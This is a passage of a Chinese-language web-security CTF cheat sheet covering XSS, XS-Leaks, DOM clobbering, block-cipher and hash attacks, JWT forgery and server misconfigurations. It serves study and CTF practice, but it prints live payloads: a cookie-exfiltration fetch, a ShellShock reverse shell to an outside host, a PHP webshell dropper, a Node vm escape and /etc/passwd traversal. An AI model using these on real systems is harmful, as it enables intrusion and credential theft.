      • <div type=underscore/template> <% alert(1) %> </div>
    • 0CTF 2018 - h4xors.club2

  • google analytics ea

    • ea is used to log actions and can contain arbitrary string
    • Google CTF 2018 - gcalc2

Upload XSS

  • htm
  • html
  • svg
  • xml
  • xsl
  • rdf
    • firefox only?
    • text/rdf / application/rdf+xml
  • vtt
    • IE/Edge only?
    • text/vtt
  • shtml
  • xhtml
  • mht / mhtml
  • var
    • HITCON CTF 2020 - oStyle
    • 預設安裝 Apache 包含 mod_negotiation 模組，可以設置 Response 中的 Content-* 屬性
Content-language: en
Content-type: text/html
Body:----foo----

<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>

----foo----

Content-type

jQuery

  • $.getJSON / $.ajax XSS

Online Encoding / Decoding

JSFuck

aaencode / aadecode

RPO

  • http://example.com/a%2findex.php
    • 瀏覽器會把 a%2findex.php 當成一個檔案
    • Web Server 則會正常解析成 a/index.php
    • 所以當使用相對路徑載入 css 時，就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
      • 如果該檔案內容可控，則有機會 XSS
    • 舉例：
      • /test.php 中有 <link href="1/" ...>
      • 另有 /1/index.php 給 ?query= 參數，會直接輸出該參數內容
      • 訪問 /1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php 就會讓背景變紅色
        • Server: /test.php
        • Browser: /1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
          • CSS 會載入/1/?query={}*{background-color:red}/../../1/
        • CSS 語法容錯率很高

CSS Injection

  • CSS 可控時，可以Leak Information
  • Example:
    • leak <input type='hidden' name='csrf' value='2e3d04bf...'>
    • input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
    • input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
    • ...
    • SECCON CTF 2018 - GhostKingdom

XS-Leaks

Frame count

  • 不同狀態有不同數量的 frame
  • 用 window.frames.length 來判斷
    • 狀態A => frame count = x
    • 狀態B => frame count = y
    • x != y
  • e.g. Facebook CTF - Secret Note Keeper
    • 找到結果 => frame count >= 1
    • 沒找到 => frame count = 0

Timing

  • 不同狀態有不同回應時間
  • Time(有結果) > Time(沒結果)
    • 有結果時，會需要載入比較多東西

XSS Filter

  • iframe正常訪問，會觸發一次onload事件
  • 在iframe.src尾，加上#做請求，正常不會再觸發onload事件
  • 但如果原本頁面被filter block，則會有第二次onload
    • 第二次請求變成chrome-error://chromewebdata/#
  • 可以判斷頁面狀態
    • 正常 => 1次onload
    • 被Blocked => 2次onload
  • 也能用history.length判斷
  • e.g. 35C3 - filemanager

HTTP Cache

  • 清空目標 Cache
    • 送 POST 請求
  • 查詢內容
    • <link rel=prerender href="victim.com">
  • 檢查是否 Cache 該內容
    • Referrer 設超長，然後訪問該資源
    • 有 cache => 顯示資源
    • 沒 cache => 抓不到資源

DOM Clobbering

<form id=test1></form>
<form name=test2></form>

<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
  • id 屬性被當成全域變數
  • name 屬性被當成 document 屬性

  • 覆蓋原生函數
<form name="getElementById"></form>
<form id="form"></form>

<script>
console.log(document.getElementById("form"));  // Error 
</script>

<script>
console.log("I'll be executed!");
</script>

這裡第一個 script block 因為錯誤被跳過，第二個 script block 依舊會執行 (常拿來繞檢查)


  • toString 問題

    <form id=test1><input name=test2></form>
<script>
  alert(test1.test2); // "[object HTMLInputElement]"
</script>
    • <a> 的 href 可以解決 toString 問題: <a id=test1 href=http://kaibro.tw>
      • alert(test1); => http://kaibro.tw
    • <form id=test1><a name=test2 href=http://kaibro.tw></form> 依舊有問題
      • alert(test1.test2); => undefined
      • 解法見下面 HTMLCollection

  • HTMLCollection
<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1);  //  <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>

name 屬性也會直接變成 HTMLCollection 的屬性:

<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2);  //  x:alert(1)
</script>

密碼學

PRNG

  • php 7.1.0 後 rand() 和 srand() 已經等同 mt_rand() 和 mt_srand()

  • php > 4.2.0 會自動對 srand() 和 mt_srand() 播種

    • 只進行一次 seed，不會每次 rand() 都 seed

  • 可以通過已知的 random 結果，去推算隨機數種子，然後就可以推算整個隨機數序列

  • 實際應用上可能會碰到連上的不是同個 process，可以用 Keep-Alive 來確保連上同個 php process (只會 seed 一次)

  • 7.1 以前 rand() 使用 libc random()，其核心為： state[i] = state[i-3] + state[i-31]

    • 所以只要有31個連續隨機數就能預測接下來的隨機數
    • 後來 rand() alias 成 mt_rand()，採用的是 Mersenne Twister 算法

  • Example: HITCON 2015 - Giraffe’s Coffee

ECB mode

Cut and Paste Attack

  • 每個Block加密方式都一樣，所以可以把Block隨意排列
  • 舉例： user=kaibro;role=user
    • 假設 Block 長度為 8
    • 構造一下 user: (| 用來區隔 Block)
      • user=aaa|admin;ro|le=user
      • user=aaa|aa;role=|user
    • 排列一下：(上面每塊加密後的 Block 都已知)
      • user=aaa|aa;role=|admin;ro
  • Example: AIS3 2017 pre-exam

Encryption Oracle Attack

  • ECB(K, A + B + C) 的運算結果可知
    • B 可控
    • K, A, C 未知
  • C 的內容可以透過以下方法爆出來：
    • 找出最小的長度 L
    • 使得將 B 改成 L 個 a，該段 pattern 剛好重複兩次
      • ...bbbb bbaa aaaa aaaa cccc ...
      • ...???? ???? 5678 5678 ???? ...
    • 改成 L-1 個 a，可得到 ECB(K, "aa...a" + C[0]) 這個 Block 的內容
    • C[0] 可爆破求得，後面也依此類推
  • 常見發生場景：Cookie

CBC mode

Bit Flipping Attack

  • 假設 IV 為 A、中間值為 B (Block Decrypt 後結果)、明文為 C
  • CBC mode 解密時，A XOR B = C
  • 若要使輸出明文變 X
  • 修改 A 為 A XOR C XOR X
  • 則原本式子變成 (A XOR C XOR X) XOR B = X

Padding Oracle Attack

  • PKCS#7
    • Padding 方式：不足 x 個 Byte，就補 x 個 x
      • 例如：Block 長度 8
      • AA AA AA AA AA AA AA 01
      • AA AA AA AA AA AA 02 02
      • AA AA AA AA AA 03 03 03
      • ...
      • 08 08 08 08 08 08 08 08
    • 在常見情況下，如果解密出來發現 Padding 是爛的，會噴 Exception 或 Error
      • 例如：HTTP 500 Internal Server Error
      • 須注意以下這類情況，不會噴錯：
        • AA AA AA AA AA AA 01 01
        • AA AA 02 02 02 02 02 02
  • 原理：
    • CBC mode 下，前一塊密文會當作當前這塊的 IV，做 XOR
    • 如果構造 A||B 去解密 (A, B 是密文 Block)
    • 此時，A 會被當作 B 的 IV，B 會被解成 D(B) XOR A
    • 可以透過調整 A，使得 Padding 變合法，就可以得到 D(B) 的值
      • 例如：要解最後 1 Byte
      • 想辦法讓最後解出來變成 01 結尾
      • 運氣不好時，可能剛好碰到 02 02 結尾，可以調整一下 A 倒數第 2 Byte
      • D(B)[-1] XOR A[-1] = 01
      • D(B)[-1] = A[-1] XOR 01
      • 有最後 1 Byte 就可以依此類推，調整倒數第 2 Byte
    • D(B) XOR C 就能得到明文 ( C 為前一塊真正的密文)

Length Extension Attack

  • 很多hash算法都可能存在此攻擊，例如md5, sha1, sha256...
  • 主要是因為他們都使用 Merkle-Damgard hash construction
  • 會依照 64 Byte 分組，不足會 padding
    • 1 byte 的 0x80 + 一堆 0x00+8 bytes 的長度
  • IV 是寫死的，且每一組輸出結果會當下一組的輸入
  • 攻擊條件： (這裏 md5 換成 sha1, sha256... 也通用)
    • 已知 md5(secret+message)
    • 已知 secret長度
    • 已知 message內容
  • 符合三個條件就能構造 md5(secret+message+padding+任意字串)
  • 工具 - hashpump
    • 基本用法：
      1. 輸入 md5(secret+message) 的值
      2. 輸入 message 的值
      3. 輸入 secert長度
      4. 輸入要加在後面的字串
      5. 最後會把 md5(secret+message+padding+任意字串) 和 message+padding+任意字串 噴給你

其它

  • Information leak

    • .git / .svn
    • robots.txt
    • /.well-known
    • .DS_Store
    • .htaccess
    • .pyc
    • package.json
    • server-status
    • crossdomain.xml
    • admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
    • xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
    • /WEB-INF/web.xml

  • 文件解析漏洞

    • Apache
      • shell.php.ggininder
      • shell.php%0a
        • httpd 2.4.0 to 2.4.29
        • CVE-2017-15715
    • IIS
      • IIS < 7
        • a.asp/user.jpg
        • user.asp;aa.jpg
    • Nginx
      • nginx < 8.03
        • cgi.fix_pathinfo=1
        • Fast-CGI開啟狀況下
        • kaibro.jpg: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
        • 訪問kaibro.jpg/.php生成shell.php

  • AWS常見漏洞

  • JWT (Json Web Token)

    • 重置算法 None

      • import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]

    • 降級算法

      • 把"非對稱式加密"降級為"對稱式加密"
      • e.g. RS256 改成 HS256
      import jwt
public = open('public.pem', 'r').read()   # public key
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))

    • 暴力破解密鑰

    • kid 參數 (key ID)

      • 是一個可選參數
      • 用於指定加密算法的密鑰
      • 任意文件讀取
        • "kid" : "/etc/passwd"
      • SQL注入
        • kid 有可能從資料庫提取數據
        • "kid" : "key11111111' || union select 'secretkey' -- "
      • Command Injection
        • Ruby open: "/path/to/key_file|whoami"
      • Example: HITB CTF 2017 - Pasty

    • jku

      • 用來指定連接到加密 Token 密鑰的 URL
      • 如果未限制的話，攻擊者可以指定自己的密鑰文件，用它來驗證 token

    • 敏感訊息洩漏

      • JWT 是保證完整性而不是保證機密性
      • base64 decode 後即可得到 payload 內容
      • Example

    • jwt.io

  • 常見 Port 服務

  • php -i | grep "Loaded Configuration File"

    • 列出 php.ini 路徑

  • OPTIONS method

    • 查看可用 HTTP method
    • curl -i -X OPTIONS 'http://evil.com/'

  • ShellShock

    • () { :; }; echo vulnerable
    • () { :a; }; /bin/cat /etc/passwd
    • () { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'

  • X-forwarded-for 偽造來源IP

  • DNS Zone Transfer

    • dig @1.2.3.4 abc.com axfr
      • DNS Server: 1.2.3.4
      • Test Domain: abc.com

  • IIS 短檔名列舉

    • Windows 8.3 格式: administrator 可以簡寫成 admini~1
    • 原理：短檔名存在或不存在，伺服器回應內容不同
    • Tool: https://github.com/irsdl/IIS-ShortName-Scanner
      • java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/

  • NodeJS unicode failure

    • 內部使用 UCS-2 編碼
    • ＮＮ => ..
      • Ｎ 即 \xff\x2e
      • 轉型時捨棄第一個 Byte

  • 特殊的 CRLF Injection 繞過

    • %E5%98%8A
    • 原始的 Unicode 碼為 U+560A
    • raw bytes: 0x56, 0x0A

  • MySQL utf8 v.s. utf8mb4

    • MySQL utf8 編碼只支援 3 bytes
    • 若將 4 bytes 的 utf8mb4 插入 utf8 中，在 non strict 模式下會被截斷
    • CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability

  • Nginx internal繞過

  • Nginx目錄穿越漏洞

    • 常見於 Nginx 做 Reverse Proxy 的狀況
    location /files {
    alias /home/
}
    • 因為 /files 沒有加上結尾 /，而 /home/ 有
    • 所以 /files../ 可以訪問上層目錄

  • Nginx add_header

    • 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時，add_header 才會設定 header
    • e.g. Codegate 2020 - CSP

  • Nginx $url CRLF Injection

    • $uri 是解碼後的請求路徑，可能包含換行，有機會導致 CRLF Injection
      • 應改用 $request_uri
    • Example: VolgaCTF 2021 - Static Site
      • proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
      • CRLF Injection 蓋掉 S3 Bucket 的 Host header，控 Response 內容做 XSS

  • Javascript 大小寫特性

    • "ı".toUpperCase() == 'I'
    • "ſ".toUpperCase() == 'S'
    • "K".toLowerCase() == 'k'
    • Reference

  • Javascript replace 特性

    • replace string 中可以使用 $
    > "123456".replace("34", "xx")
'12xx56'
> "123456".replace("34", "$`")
'121256'
> "123456".replace("34", "$&")
'123456'
> "123456".replace("34", "$'")
'125656'
> "123456".replace("34", "$$")
'12$56'

  • Node.js 目錄穿越漏洞

    • CVE-2017-14849
    • 影響: 8.5.0 版
    • /static/../../../foo/../../../../etc/passwd

  • Node.js vm escape

    • const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()
    • CONFidence CTF 2020 - TempleJS
      • Only allow /^[a-zA-Z0-9 ${}`]+$/g
      • Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``

  • Apache Tomcat Session 操縱漏洞

    • 預設 session 範例頁面 /examples/servlets /servlet/SessionExample
    • 可以直接對 Session 寫入

  • polyglot image + .htaccess

    • XBM 格式有定義在 exif_imagetype() 中
    • 符合 .htaccess 格式
    • Insomnihack CTF
    #define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp

  • AutoBinding / Mass Assignment

    • Mass_Assignment_Cheat_Sheet
    • Spring MVC
      • @ModelAttribute
      • 會將 Client 端傳來的參數 (GET/POST) 綁定到指定 Object 中，並自動將此 Object 加到 ModelMap 中
      • Example
      @RequestMapping(value = "/home", method = RequestMethod.GET)
    public String home(@ModelAttribute User user, Model model) {
        if (showSecret){
            model.addAttribute("firstSecret", firstSecret);
        }
        return "home";
    }

  • HTTP2 Push

  • Symlink

    • ln -s ../../../../../../etc/passwd kaibro.link
    • zip --symlink bad.zip kaibro.link

  • curl trick

  • tcpdump

    • -i 指定網卡，不指定則監控所有網卡
    • -s 默認只抓96bytes，可以-s指定更大數值
    • -w 指定輸出檔
    • host 指定主機(ip or domain)
    • dst, src 來源或目的端
    • port指定端口
    • tcp, udp, icmp 指定協議
    • example
      • 來源192.168.1.34且目的端口為80
        • tcpdump -i eth0 src 192.168.1.34 and dst port 80
      • 來源192.168.1.34且目的端口是22或3389
        • tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
      • 保存檔案，可以後續用wireshark分析
        • tcpdump -i eth0 src kaibro.tw -w file.cap

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